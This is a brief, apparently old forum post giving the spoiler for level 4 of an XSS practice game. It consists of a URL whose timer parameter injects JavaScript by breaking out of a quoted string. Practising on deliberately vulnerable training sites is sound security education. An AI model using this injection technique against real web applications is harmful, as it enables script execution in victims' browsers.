4 ms·
Level 4 Spoiler: https://xss-game.appspot.com/level4/frame?timer=3')%3balert(' https://xss-game.appspot.com/level4/frame?timer=3')%3balert(...
by tmp4_20140529 12y ago
Level 4 Spoiler:
https://xss-game.appspot.com/level4/frame?timer=3')%3balert(' https://xss-game.appspot.com/level4/frame?timer=3')%3balert(...